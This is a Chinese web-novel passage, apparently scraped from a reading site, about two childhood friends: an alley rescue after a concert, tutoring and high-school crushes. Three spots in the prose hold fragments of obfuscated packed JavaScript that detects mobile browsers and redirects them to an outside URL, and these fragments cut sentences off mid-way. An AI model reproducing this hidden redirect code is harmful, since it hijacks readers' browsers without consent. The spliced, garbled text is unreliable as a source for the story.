周围的喧嚣像一场火山爆发,乔岁安捂着耳朵,感觉自己的灵魂都被吵出来了,一时间不知道自己身在何处。 她用力摇晃了下自己的脑袋,想把尖叫声都倒出来。 直到歌声响起,尖叫声才慢慢平息下来,取而代之的近乎喊叫的大合唱。大荧幕扫过观众席,蓝色的应援色在黑暗中舞出一片灿烂的银河。乔岁安也逐渐被气氛所感染,挥着手跟着一起喊歌词。 “我喜欢风拂过你的发梢, 暧昧永远精巧微妙, ……” “宋蔚!”演唱会的尾声,乔岁安也听见了自己此生飙得最高的嗓音,和余清一起,“看这儿!宋蔚!妈妈爱你!” 一场演唱会,给她刚吼完军歌并不清润的嗓子雪上加霜。 结束时已经是晚上八点钟。余清跟乔岁安不同路,就在演唱会门口说了再见。 她家离这儿不远,公交车两站,再走一段路就到了。 乔岁安嗓子哑哑的,但心情很好,脸上的爱心还没撕掉,她下了公交,轻声哼着歌往家走。 夏季晚风都带着温热,演唱会期间外头大概是下了一场雨,马路湿润润的,带着雨后特有的青草与泥巴混合的腥咸味道。 车站到小区门口要走一段小路,不然绕道走要浪费很长时间。 她顺路去便利店买了点零食,拿了个袋子装着,拎在手上往巷子里走。 周围都是老人居住的乡下老房子,灯光设施差,但倒也能勉强看得清路。余清先前来她家时跟着她走过一次,只觉得这路可怕,心有余悸。乔岁安倒从没害怕过,大概是从小到大走惯了。 路灯昏暗,月光影影绰绰,路面水洼隐约可见,她踩过水坑,险些湿了裤脚,低头啧了声,也没多管,继续轻轻哼着歌往前走。 “我喜欢风拂过你的发梢, 暧昧永远精巧微妙, ……” 周围寂静,身后的脚步声轻微,她的歌声放缓:“我不知道,要告白几次才好……” 鞋踩过雨落树枝发出“吱呀”声,人的第六感压着神经突突直跳,配合心跳鼓动气氛。 她捏着袋子的手越来越紧,僵着脖子直愣愣盯着前方不敢回头,努力稳住嗓音照旧哼歌,步子悄悄加快。 身后的脚步声也跟着急促起来,一声声,像是踩在她神经末梢,头皮发麻。 乔岁安佯装镇定地从口袋里掏出手机,手指轻颤,拨了丁斯时的电话。 “喂。”他接得很快,一贯清淡的嗓音从手机里传出来。 “喂。”一开口,乔岁安才发现自己嗓子哑得不成样子,她努力清了清嗓子,直到话说出口不至于哑得听不懂,不至于抖得不成样。 “哥哥。”她故意大了点声音,“我在巷子里,已经快到了。” 他顿了下:“你是不是遇到什么事了?” “嗯,对。你说你已经到巷子口了?” “我现在过来。”那头窸窸窣窣一片,他似是在穿鞋,接着是大门关上的声音,“你别挂电话,继续说。” “什么?叔叔也来了?那太好了,好久都没见他了。”指甲嵌进掌心,她步子越来越快,“我也快到巷子口了,你在那儿等我一……啊!” 肩上猛的搭上一只手,她尖叫一声,奋力甩开他就往巷子口跑。 4. 我们回家 “乔岁安!” “救命!”她死死握着手机,用尽全身力气往外奔,大喊,“救命!” 远处狗吠乍响,灯光依旧微弱,四下依旧无人。 身后那人“嘶”了声,往前奔了几步,发了狠,伸手扯住她的衣领将人拽回来。 昏暗月光与灯光下,乔岁安看清了那人的脸,是个中年男人,带着黑色帽子,三白眼,下巴尖瘦,一道小疤横劈在下巴上。 他步子不稳,酒气熏天,一手紧攥着她衣服不放,吊着眼咧开嘴角,另一只手触碰到她衣领下的皮肤。 她抡起手中的袋子往那人身上砸,零食尖锐的角划破了外面的袋子,也划破了男人的手,他闷哼一声,松了手。 零食散落一地。 乔岁安立即扭头继续往前跑,惊恐混着在耳边放大了无数倍的心跳,响到几乎刺破耳膜,快到几乎要呕出来。 巷子口的灯光温暖,外头沥青路汽车飞驰而过的声音像是唯一的希冀。 跑出去……跑出去…… 男人“呸”了声,骂了句难听的土话,追着她,伸手就要把她抓回来。 “救命!”她冲外头吼,嗓音沁血,“救救我!” “乔岁安!” 手机里的声音和现实中的重合,巷子的今天奔进来个人,头发凌乱。 警笛声由远及近,两道身影在黑暗的巷子里拼尽全力奔向彼此。 男人见形势不对,扭头重新往巷子里跑。 丁斯时用力掷出掌心的手机。 手机一角砸中摇晃着要逃跑的男人,重重一声落地响伴着惨叫,水坑中溅起一片晶莹。 而她终于奔进他的怀里。 警察趁着男人摔倒的时机,将人制服在地。 乔岁安紧紧抓着丁斯时的衣角,泪水在这一瞬间崩溃地涌下来,哑着嗓子哭出声。 两颗跳得同样剧烈的心脏靠在一起,丁斯时缓缓吐出一口气,手指止不住颤着,抚了抚她的头发,呢喃:“没事了,没事了。” “丁斯时。” “我在呢。” 她带着哭腔:“我害怕。” “我在呢。”丁斯时闭了闭眼,克制不住似的,轻轻地,将下巴搁在她的肩上,伸手环住她,喉头微滚,“我在这儿呢。” 他的怀抱很暖,乔岁安发着抖,恍惚了下,时光错流,那三个字一下把她拉回了很多年前。 小时候丁斯时一直比同龄人矮,那个年龄段的男生幼稚,总要标榜自己是个男子汉大丈夫,个子要高,气势要足。而丁斯时又瘦又矮,遭受了不少嘲笑。 当时的乔岁安深陷于奥特曼的威武之中,坚信自己是正义的化身,是奥特曼在现实世界里委以重任的不二人选。 于是,当她看到丁斯时被堵在角落里欺负时,双手叉腰瞪着眼大喝:“住手!” 她自以为是天神降临,未料到结果却是,她和丁斯时一起,被人揍了顿。 周围的小朋友都散开了,两个人蹲在角落里抱着膝盖,缩成两个小团。 “乔岁安。”丁斯时突然喊了她一声。 她擦了擦眼泪,努力抑制住抽泣:“我在呢。” 他沉默了两秒。 “乔岁安。”他又叫她。 “我在呢。”乔岁安站起来,拍拍裤腿,吸了吸鼻子,却向他伸出手,努力挤出个微笑,“走吧,不哭了,我们回家。” …… “我们回家。”警察局做完笔录后,丁斯时也是这么对她说的。 两个人沿着人行道走,路灯昏黄,两道影子挨着,忽近忽远。 乔岁安仰起头,望向他,仍然恍惚。 她比丁斯时大了两个月,小时候的她也比他高了大半个头。 后来是从什么时候开始变的呢? 大概是初中,丁斯时的身高如同坐了火箭,从需要她低头俯视,到平视,再到如今,需要她费劲巴拉抬起头,才能对上他垂着眼望向她的目光。 丁斯时察觉到她的视线,扭头温声:“怎么了?” 乔岁安睫毛颤了颤,移开目光。 “没什么。”她抿了下唇,看见他手里那部屏幕碎裂到不成样子的手机,伸手指了指,闷声,“你手机坏了。” 丁斯时按亮了屏幕,毫不在意:“没事,你看,里面没坏。明天去修一下就行。” “哦。” 她不说话了。 “乔岁安。” “嗯?” 他不答,又喊了一声:“乔岁安。” “怎么了?”她疑惑。 丁斯时垂眼望着地上两道并行的影子,缓缓呼出一口气,摇摇头:“没事。” 没事,只是单纯地想听听她的声音。 夏季的晚风拂过树叶,沙沙作响。 他听见自己的心跳在此刻终于安定下来。 —— 八月的天,热得不像话,大雨未曾给世界降温,潮湿像是要闷进了人的骨子里,烈阳出来,树影流动,给人平添烦躁。 重点班每学期会经历两次流动,期中一次,期末一次,每次根据考试排名换血。分班考时她算是超常发挥,但以她现在的成绩,要想在重点班待下去,着实有些困难。 为此,丁斯时特地给乔岁安准备了厚厚一叠学习资料。 她愁眉苦脸,不肯接手:“不是,现在连学都还没开,不能让我再玩几天吗?而且对我来说能进一次重点班就已经很了不起了,我也不奢求能在这个班待下去。” 丁斯时威胁她:“期中考试后我会进重点班,所以,你要是落下去了,两个班教学进度不同,下次有不会的题就别想着过来问我,考完试也别找我复盘。你自己看着办。” 好嘛。 乔岁安耷拉着脑袋,捧着资料悻悻离去。 临近开学这几天,乔岁安一直在跟丁斯时给的学习资料作战。 通常作战了不到半个小时,她就会想——阿弥陀佛,人要活在当下,要学会放过自己,放手才是爱。 随后扔下学习资料,打开和平精英,带领余清等一众人菜瘾大的猪队友们拿下n把吃鸡。 直至开学那一天,乔岁安才发现丁斯时的选择是正确的,因为她压根跟不上老师的教学思路。 第一堂英语课,要求全英文自我介绍,乔岁安听着周围人操着一口流利而听不懂的口语,真的很想两眼一翻昏过去。 轮到她了,乔岁安佯装高冷而不风度:“Hello, my name is Qiao Suian. ” 全班静默两秒,在一片亮晶晶的目光中,乔岁安拼尽全力想起了前两天背的那个单词:“I''m a introvert. ”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859092|175923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “Ok. ”英语老师替她解围,“Next one. ” 内向的乔岁安高冷坐下。 一边的林时蛰憋着笑悄悄给她竖了个大拇指。 乔岁安笑不出来。 她发誓,以后一定好好学英语,绝对不要重蹈覆辙。 数学课更是灾难,她端正地坐在底下,微笑着凝望台上老师的嘴巴一张一合,开始怀疑他讲的是否是中文。 直至放学铃打响,乔岁安才感觉自己重新活了过来,飞快地整理完书包,一刻都不想在这个重点班教室待下去。 隔壁二班还在上课,她站在窗口外张望,丁斯时坐在最后一排第二列,脊背挺直,低头记着笔记,不时抬头瞧一眼黑板,似是察觉到她的目光,他的视线瞥了过来。乔岁安立马笑着挥挥手,他弯唇,缓慢地眨了下眼,又扭回头继续听课了。 招呼打过了,乔岁安靠到栏杆上,手指把玩着垂落下来的书包带子,时不时瞟一眼窗内,等着丁斯时下课。 余光里,几个高年级学姐一面走近一面你拉我扯小声嘀咕着,她下意识抬起脸,茫然的目光跟学姐的对了个正着。 下一秒,几个学姐挺直了腰板,昂首挺胸径直朝她走了过来。 乔岁安眨眨眼,手里的动作停了。 “你好。”其中一个学姐开了口,“你是军训跳《玫瑰少年》的那个女生吧?” 乔岁安手指悄悄搓了搓书包带子,声音不自觉弱下来:“嗯。” “你跳舞好好看啊。”学姐一边夸一边笑,将手里的便签和笔递过去,“可以加一下你的微信好友吗?” 她松开书包带子,声音又软下来:“啊?好的好的。” 乔岁安接过纸笔,乖乖写下自己的微信号。 几个学姐见着她这模样乐得不行,跟她拜拜之后就走了,渐行渐远间,乔岁安隐约听见她们兴奋的聊天声。 “真的好可爱,而且好漂亮啊,像洋娃娃。” “天,她看上去好乖。” “……” “想什么呢怎么入神?”身前有道熟悉的嗓音响起。 “没想什么。”乔岁安一下回了神,“你终于下课啦?” 丁斯时没回,偏过头,视线落在她身后,叹口气:“转身。” 乔岁安懵懵然照做。 “呲啦”一声,丁斯时帮她把书包拉链拉上:“转过来吧。” “我没拉吗居然?”乔岁安扭头往背后望了眼,随后双手放胸前向丁斯时同学比了颗心,感动道,“有你真是我的福气。” 丁斯时“呵”了声,并不为之所动,盯着她的心看了两秒,漠然伸出两根手指,把她的心捏扁了:“这种动作也少做。” 顿顿,他往走廊深处那几个嘻嘻哈哈的学姐身上瞟了眼,哼笑一声,补充:“乔岁安,你也就敢在我面前这样。” 随随便便比心,随随便便“爱你”,随随便便地对他做那么多事。 在别人面前声音跟个蚊子似的,含羞草级别的蚊子。 乔岁安:“……” 烦死了,怎么又被他看见了? 她不服气,反驳:“那不是跟你熟吗?” 丁斯时点点头:“哦。” “你哦什么啊?” 他牵起唇角:“感觉到荣幸。” “……” 5. 不算清白 乔岁安今天的课没怎么听懂,作业是跑到丁斯时家写的。 丁同学的作业在学校里就做完了,连带回来的书包都几乎是空的。 他给乔岁安讲完了数学公式与原理,接下来的时间里,乔岁安咬着笔杆子对着数学题扎耳挠腮,丁老师坐在边上对着手机玩保卫萝卜2,怕吵到她学习,贴心地把手机调了静音。 过了会儿,乔岁安小声喊他名字:“丁斯时。” 他放下手机,抬头:“哪题不会?” 乔岁安拿笔挠了挠头,有点不太好意思:“全都。” 丁斯时对着她的练习册沉沉叹气,觉得自己真是任重而道远。 “丁斯时。”在他执笔一边写解题步骤一边发出第三次叹息时,乔岁安瞄着他的手机,伸出食指点了点,“你的萝卜死了。” “……”他伸出一只手把她的脸掰回来,“看作业。” 乔岁安:“……哦。” 在丁老师的帮助下,乔岁安第二天成功成为了班上唯一一个作业全对的同学。 数学老师拿着她的作业本大肆夸赞,道:“这份练习册原来是学校给高三同学二轮复习用的,没想到我们班真的有同学能全部做出来!大家为她鼓掌!” 在全班感慨震惊艳羡的目光以及如雷般的掌声之下,乔岁安默默地低下头缩起脖子,心虚地拿手撑着脸,刘海遮上手遮下,企图挡住整张脸,脑子里弹出一句话—— 完了,芭比Q了! 早上第三节课结束,乔岁安从桌肚里掏出丁斯时给她整理的英语资料开始临时抱佛脚——中午时要去二班抽背单词。 路过她身边的同学纷纷感慨:“果然,人家成为学霸是有理由的。” 乔岁安张口想要解释,人家却摇着脑袋早已走远,于是她只能对着资料们露出一个苦涩的笑容。 “学霸”乔岁安,中午被抽了十五个英语单词,其中六个都没有背出来。 丁斯时指尖捏着纸张随意翻了翻,眼角微抬,扫了眼她的脸,冷笑一声。 她双手搭在腿上,乖乖坐在边上,为自己狡辩:“你相信我,五十个里面我就这么几个不会,只是全被你抽出来了而已。” ……然后喜提六十遍抄写。 “哇。”路过她座位的同学们再度纷纷感慨,“不愧是学霸,对自己要求好严格。她居然在抄写单词哎!” 乔岁安:“……” 泪流满面不是康桥的错。 周五中午社团的学姐学长过来招新宣讲时,乔岁安人还在二班,正襟危坐等待抽背。 丁斯时问:“你打算进哪个社团?” “舞蹈社吧。”乔岁安下巴往他桌上一搁,手掌垫在中间,趴着抬眼看向他,反问,“你呢?” 他点点头,语气平淡:“巧了,我也打算去舞蹈社。” 乔岁安睁大了眼睛盯着他,不可置信地再问了遍:“你确定?” 丁斯时没吱声,垂着眼,手指捏着英语资料翻过一面,抽了个单词:“automatic。” 乔岁安下意识道:“自动的,必然的,不假思索的。” 他眉梢轻扬,似是哼笑了声。 窗外一阵风略过,窗帘被掀起一角,在他身后浮动,正巧把阳光翻进来,落在他的脊背与发丝上。 丁斯时低着头,轻轻“嗯”了声,指腹落在那行写着“必然的,不假思索的”的中文翻译上,纸张的粗糙摩擦着皮肤,像一场悄无声息的附和。 台上宣讲的学姐学长换了波,不知是第几场,终于轮到了舞蹈社,乔岁安眼尖地发现,里头其中一位学姐正是前两天放学后要她联系方式的那位。 领头的是位学长,花了一分钟大致讲了下舞蹈社的情况,乔岁安撑着脑袋听着,猝不及防被点了名。 “……例如我知道,这次军训有位学妹跳了《玫瑰少年》,表白墙上视频很火啊。”学长将目光连同橄榄枝一起递了过来,“如果有兴趣,可以加入舞蹈社玩玩。” 他拿起粉笔在黑板上写下一串数字,嘴角含笑:“这是我的微信号,大家有想法的都可以来加我。” 说着“大家”,他的视线却是定格在乔岁安的身上,司马昭之心路人皆知。 乔岁安伸手轻轻揉了揉鼻尖,避开那位学长的视线,探过脑袋正要从丁斯时笔袋里捞文具,一支骨节分明的手伸过来,在她的动作之前先一步拉上了笔袋拉链。 乔岁安抬眼看他:“?” 丁斯时也盯着她看,细长的手指用力压着拉链头。 对视五秒之后,他甩开拉链,表情淡了下来:“拿。” 乔岁安顶着他冰凉的视线,有些莫名其妙,她翻了翻笔袋,找出修正带,对着他桌上翻开的书划了划,盖住黑笔凌乱的痕迹。 丁斯时低头,才发现自己的笔刚刚无意识落在书上,不知画了几道黑印子。 “……”他顿了顿,放下笔,看着她把自己刚弄上去的乱七八糟清理完,瞟了眼讲台上不停瞄向这边的那位学长,“你不是要加舞蹈社吗?不记那位学长的微信号吗?” “他旁边那位学姐的联系方式我有。”舞蹈社那群人慢吞吞从教室里离开了,乔岁安这才敢放心说话,“那个学长好怪,不想加。” 丁斯时无比赞同:“那就不加。” 乔岁安感觉他的心情突然就好起来了,像窗外阴晴不定的天气,上一秒乌云万里压树枝,后一秒微风徐徐万里晴空。 好,不愧是公主。 舞室十月头有一场路演,这几个周末乔岁安忙得不行,要么就是人在丁斯时家学习,要么就是人在舞室练舞。 余清这两天王者荣耀段位下去了,想找她带带自己把段位再提上去都没时间。 “核心稳住!”舞室老师身子靠在镜子边,拍手给他们打着节拍,望着舞步半晌,掌声慢慢停了,老师给伴奏按下暂停键,“乔岁安,你站在c位,动作一定要利落,刚那个动作,重新来一遍。” 乔岁安点点头。 于是,这么一个动作,她练了几小时。 其余人都解散了,不知过了多久,终于稍有眉目,她停下来休息,额前的刘海湿湿地搭在皮肤上,乔岁安喘着气,伸手把刘海往上一拨,露出精致的眉眼。 “今天就到这里吧。”舞蹈老师道,“练得不错。还挺晚了,早点回去吧。” 乔岁安喝了一大口水,从包里捞出手机看了眼,已经是晚上八点钟了,微信消息闪动着,显示着两个小时前来了一则消息。 她点开一看。 娇娇丁公主:“什么时候回来?” 乔岁安放下水,敲着手机键盘。 岁岁和碎碎:“刚练完了,现在准备从舞室里出来。” 夜晚的风捎来一丝清凉,她搭上回家的公交车,坐在偏后的位置,车内人很少,售票员坐在后门边上,穿着蓝色工作服,手里拿着个红色的小旗帜,用方言报着站点。 乔岁安扭过头望向窗外,车窗半开,灯光与摇曳的树影一晃而过,余下婆娑几声轻响逐渐远去。 公交车门吱呀一声打开,乔岁安下了车,它便扬长而去。 她手指抓着双肩包带子,盯着路牌发了几分钟呆,随即叹了口气。 上次巷子里的经历太过惊险,她真的不敢再次轻易尝试,可是要是走大路,又会绕很长一段路,浪费很多时间,路也远…… 她纠结片刻,觉得还是命更重要。 搁置在口袋里的手机不停震动,她拿起一看,上头的备注显示着“娇娇丁公主”,乔岁安一边接通电话,一边转身绕过车站大大的广告牌。 “喂。”手机被握着举到耳边,乔岁安目光扫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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少年骨骼还未完全长开,正是身高抽条的时候,怎么吃都不长肉,脊背虽然单薄但也安心。细长的脖颈白皙,衣领里若隐若现藏着根红绳,挂着个刻着“平”字的核桃。 乔岁安也有一个差不多的,只是她的核桃上刻的是“安”字。那是他俩的妈妈在他俩一岁时一起买的。 校服外套上是一股熟悉的洗衣水香味,并不浓郁,淡淡地滑入鼻腔里,是干净的苍兰味。 丁斯时安慰她道:“没事,后面还会有很多次上台跳舞的机会。” “可是这是初三最后一次活动哎。”乔岁安吸了吸鼻子,语气低落,过了会儿,她又小声说:“丁斯时,我是不是很重?” 她很体谅他的:“你如果累了可以放我下来,你扶着我点,我可以自己走的。” “乔岁安。”他叹口气,声音自前传来,像被蒙了层纱,闷闷的,却依旧好听,乔岁安能感受到他说话时胸腔轻微的震动,“你就算再重十斤,我也背得动。” 乔岁安没说话了,却还是一抽一抽的,估计她也知道自己刚那个哭法,妆肯定花得不成样,便把额头抵在他肩上,头发长长散下来,遮住她的侧脸。 好在没什么大问题,只是伤筋动骨一百天,晚上的文艺晚会是肯定参加不了了。 丁斯时问医务室的老师借了把轮椅,推着她去了晚会现场。 舞台上灯光明亮,是一场场青春的盛放。她把妆卸了,舞裙还没换,在最边上坐着,目光亮亮的,盯着舞台上尽力表演的人。 丁斯时从舞台上移开视线,低了眼看她。 其实哭过了的乔岁安并没有那么好看,相反,泪痕未干,双眼红肿,和平时比起来狼狈得很。 可是这么一垂眼,目光却再也回不到舞台上。 心跳在那一刻受到鼓舞,悸动到无以复加,带动耳膜震动,这段时间一直困扰着他的问题在此刻终于得到了答案。 他不知道他的眼神会不会透漏什么不该透露的,只知道他的心思确实称不上清白。 他庆幸观众席光线昏暗,也庆幸乔岁安没有回头。 6. 理想型 多亏了丁斯时,乔岁安的成绩终于有所提升,月考摆脱了倒一的命运,顺利变成倒三。 为了感谢丁斯时,乔岁安特地给他买了杯奶茶,全糖,珍珠。 中午照例去二班抽背英语。乔岁安吃完午饭带着学习资料过去时,丁斯时不在自己座位上。 她望了圈,才看见他正坐在前排不知谁的位置上低头记着黑板上的笔记。 丁斯时坐姿一直板正,站姿也是如此,肩膀舒展,脊背挺直,这一个月他白回来不少,从衣领里延伸的一小截脖颈被从窗外透进来的阳光镀了层暖白。 乔岁安抱着学习资料走过去:“你怎么坐这儿来了?” 他抬眼看了她一眼,眼睛有点酸涩,他眨了下,又重新低下头记笔记,道:“后面有点看不清。” “丁斯时。”乔岁安狐疑地望着他的侧脸,“你是不是近视了?” 确实近视了。 在经过验光等一系列检查之后,眼镜店老板拿着一个小单子下了结论。 不过还好。 125度,也没有散光,属于是不上课时也可以选择不戴的度数。 老板靠在柜台边上:“小伙子,挑个镜框吧。” 丁斯时对镜框什么的没什么想法,随便一个能戴就行,随手就近从柜台上拿了个黑框长方形的给自己戴上。 ……然后他看到了乔岁安眼中清晰的抗拒到牙疼的表情。 他顿了顿,把眼镜摘了下来:“不好看?” 乔岁安眉头都要拧起来:“好看的,是大爷喜爱的款式。” 丁斯时:“……” 乔岁安再接再厉:“放心,只要你戴上,我敢保证你再也不会受女生关注太多情书不断的苦恼。” 乔岁安踮脚伸手,按着他的肩膀让他坐在椅子上,搓搓手掌:“您安心坐着,我来挑。” 乔岁安小时候很喜欢打扮娃娃。放在橱柜里的娃娃无一不是发型精致的猪猪娃娃。芭比娃娃也就罢,她甚至连奥特曼也不放过,粉色纱裙头戴白纱,粽色假发梳成一根长麻花辫,想必是奥特曼这辈子最大的耻辱。 而面前这位,是实实在在真真切切的公主,是放大版的真人芭比娃娃。 长大以后被忽视很久的爱好噌一下重新上头,乔岁安握拳。 她要给娇娇丁公主选出最合适他的眼镜。 丁斯时双手抱胸坐在椅子上,任她给自己摆弄,摘戴眼镜时她的手指偶尔会擦过眼侧的皮肤,痒痒的,一触即逝。他下意识闭了下眼,再睁开时,镜子里的自己已经又换了个镜框。 乔岁安一个人评赏还不够,在挑出几个都不错的眼镜之后,选择困难症又犯了,于是她对着丁斯时嚓咔嚓咔几顿拍,发给了余清。 余清回复得很快。 云宝:“卧槽,丁斯时近视了?” 岁岁和碎碎:“快来挑挑,你觉得哪个更好看点?” 余清仔细斟酌了很久,对每张图片都进行了细致的评价。 云宝:“那张金边细框的,我觉得你家不太可,他戴上都没有斯文败类感,太温柔了显得。金边细框,就该是斯文败类的神!” 云宝:“那款无框的,好看是好看,就是感觉不太适合校服,他戴上太精英了感觉。” 云宝:“那款黑边不规则细框的!可可可!他妈的,校园清冷感学霸狠狠拿捏住了!眼镜丁哥就是我的新墙头!宝,你一定要说服他买这款!冲!” 于是,乔岁安拿起那款黑边不规则细框,小心翼翼给丁斯时戴上,手拿镜子怼在他脸前,告诉他:“你喜欢这款。” 完全失去镜框选择权的丁斯时:“……” “行。” 他叹口气,把眼镜摘下来,抬眼看她,“我喜欢这款。” 丁斯时戴着眼镜去学校的第一天,表白墙炸了。 “那个戴眼镜的学弟是谁?三分钟,我要知道他所有信息!” “报告楼上,正是二班那位学霸帅哥,月考全年级第一的那位。” 乔岁安中午抱着英语资料站在一班和二班大门中间的墙壁间,跟罚站似的,一边背单词,一边看着学姐们一次又一次不经意间路过二班门口。 由于之前舞社有路演的缘故,乔岁安很忙,余清深觉她冷落了自己,在微信里轰炸了她n条。 乔岁安昨晚哄了她一晚上,哄人手段是带着她游戏段位升到了王者。 余清假模假样捏着嗓子开麦:“姐姐,你的丁公主不会发现你大半夜跟我打游戏不学无术,从而生气吧?” “不。”乔岁安理智分析,“首先,我的作业已经写完了,所以他不会现在找我。” “其次,”也是最重要的一点,“他只玩保卫萝卜。” 丁斯时没有王者荣耀的账号,看不到她什么时候在线。 余清:“……” 带了几局之后,乔岁安上头了,带着余清大杀四方,锤着对面打,一把骚操作下来,把对面干蒙了。 对面的小乔在队伍里戳她:“哥哥,你技术好好哦,下把可以带带我吗?我是女孩子哦~” “……”余清真心实意地说,“曰。” 乔岁安憋笑,啪啪啪打字告诉对面:“我也是女孩子捏(对手指)。” 沉默是金。 对面的小乔深谙此道。 于是,她一上头就忘记了,丁斯时布置给她的英语单词还没背,而她第二天还要去二班抽背单词。 “grief,”她背靠着墙壁,拿余光瞟着路过的学姐们,突然间感觉自己好凄凉,十月份的风逐渐萧瑟起来,她在心里默背,“名词,悲伤,悲痛。” 接着,她摆出壮士一去兮不复还的架势,大步走进了二班的正门。 同一时间从后门走进的是位扎着高马尾头上系着蝴蝶结的漂亮学姐。 丁斯时个子高,军训体检时刚量的181,坐在教室最后排靠窗的位置,离后门更近些。 乔岁安进来时,看见漂亮学姐跟低头丁斯时说了几句话,丁斯时轻轻推了下鼻梁上的眼镜,点了点头。 他撩起眼皮,瞟了眼乔岁安,起了身,从她手中抽走资料放在桌上,向自己的椅子扬了扬下巴:“坐这儿,学生会有点事,我出去一下,马上回来。” 临走前顺手把她脖子后翻进去没穿好的衣领子给翻出来,动作又轻又快,十分熟练,指尖半分都没碰到她的皮肤,甚至他给她理完了,乔岁安都还没反应过来自己外套没穿好。 丁斯时再叹气,明显对她的自理能力感到无语。 漂亮学姐边往教室门口走边回头,打量乔岁安好几眼。 乔岁安摸摸鼻子,有种社死的尴尬。 丁斯时出去了,乔岁安赶紧临时抱佛脚,翻开资料再看几眼单词。 前桌是个可爱又热情的女孩子,桌肚里总是摆着各种好吃的小零嘴,每回乔岁安过来,她都会递给乔岁安点好吃的。 乔岁安从刚开始的拘谨不好意思,到后面混熟了也慢慢放开了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859094|175923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前桌正和别人聊着天,见她过来,笑眯眯转过身:“呀,乔乔又来背单词了啊。” 乔岁安熟练运用刚背的单词:“哈哈,grief!” 前面聚着几个女生,聊得开心,捂着嘴咯咯笑,乔岁安趴在桌子上背单词,没刻意听她们的聊天内容,但就在前面,聊天声音也大,总会有几个词汇从她耳朵里略过,例如“喜欢”、“暗恋”、“男生”…… 高中和初中有个明显的变化,青春期是最懵懂的时候,对爱情充满幻想,周围的八卦变多了,课后对于感情生活的谈论也更加直白。 前桌聊到一半,突然扭过头问她:“乔乔你呢?” 乔岁安:“啊?” 前桌好奇地问道:“你的理想型呀!是什么样啊?” 乔岁安愣住。 说实话,她还从来没有考虑过类似的问题。 说来也奇怪,在同龄人都对感情一事抱有美好憧憬并且悄悄会芳心暗许的年龄,乔岁安对这件事却半点兴趣也没有。 小时候看爱情剧男女主接吻时,妈妈会遮住她眼睛,再大点,丁斯时会遮她眼睛。 再再大点,丁斯时也不遮了。 但她也不怎么喜欢看偶像剧或者小说,最多就是陪余清去电影院,余清抓着她的衣角小声激动道“卧槽卧槽要亲了”,她睡眼惺忪地问“啊什么,大结局了”。 她喜欢看什么呢? 她喜欢看奥特曼。 但是前桌问了,乔岁安也就认真地想了想,道:“嗯……三观要正,个子要高,185朝上吧。” 不知是哪个女生问了句:“你喜欢戴眼镜的吗?” “可是长期戴眼镜会使眼睛变丑哎。”乔岁安纠结道。 话音刚落,她感觉女生们松了一口气,也感觉背后有点凉嗖嗖。 大概秋天真的要来了。 “让让。”背后响起一道清冽又熟悉的男声,声音低低的,乔岁安扭过头,才发现丁斯时回来了。 乔岁安吓得一个激灵,立马抱起英语资料一目十行。 可是他没看她,也没再吱声,面色平淡,修长手指伸进桌肚,捞出眼镜盒,摘下眼镜往盒子里一丢,“啪”一声合上,就给扔回桌肚里,拿了个水杯,一言不发往外走。 乔岁安望着他的背影:“他是不是又不高兴了?” 前桌疑惑:“啊?有吗?” 乔岁安反问:“没有吗?” 前桌挠头:“没有吧。” 感觉他一直都那样吧。 “……”乔岁安,“好吧。” “刚说到哪里了?”其中一个女生拍了下脑门,“啊对,乔乔说不喜欢戴眼镜的。” 乔岁安点点头:“除非长得很帅,不然我不同意。” 前桌精辟总结:“你不如说自己喜欢帅的。” 就连不喜欢戴眼镜的也是因为眼镜戴久了眼睛会变难看。 乔岁安笑笑。 “那丁斯时呢?”那个女生又问,好奇地望向乔岁安,“你知道他喜欢什么类型的女生吗?” “……” 一个问题,把乔岁安问倒了。 她从来没见过丁斯时跟哪个女生走得近过。 丁公主这人一共三大嗜好。 一是搞学习。 二是搞她的学习。 三是一边喝着全糖珍珠奶茶一边玩保卫萝卜。 于是,乔岁安仔细斟酌片刻,慎重道:“也或许,他不喜欢女生。” 7. 好难哄啊 乔岁安还是觉得丁斯时不太高兴。 学校里没有卖奶茶的,于是她跑去小卖部买了两颗糖,草莓味的。 体育课是几个班级混在一起到体育馆上的,除了体测那段时间,其他时候都水得很,基本上都是自由活动。 绕着馆内跑了两圈,做完了热身运动,体育老师就喊了“解散”。 乔岁安兜里揣了两颗糖,立马跑去隔壁二班哄人。 丁斯时拿了颗篮球,在馆内中央的篮球场和同学投篮。 她噔噔噔凑上去,丁斯时睨了一眼她,没吭声,身形一跃,长臂一掷,篮球脱手,在半空中划过,随后稳稳落进篮网里。 一个标准的三分球。 乔岁安又噔噔噔跑去把落地的球捡了回来,递给他,小心翼翼开口道:“我有两颗糖。” 丁斯时:“不吃。” “……”乔岁安并不气馁,“是你最爱的草莓味哦!” 丁斯时柴米油盐都不进:“不爱。” 乔岁安:“……” 没关系。 她努力弯出一个微笑,刚要开口再接再厉,丁斯时眼神一凛,猛的揽过她的腰往边上一带,变故就在一瞬间,球擦着她的耳朵过去,在地上弹了两下,滚开了。 丁斯时松开手退后两步,沉默地盯着她看,面无表情。 “……” 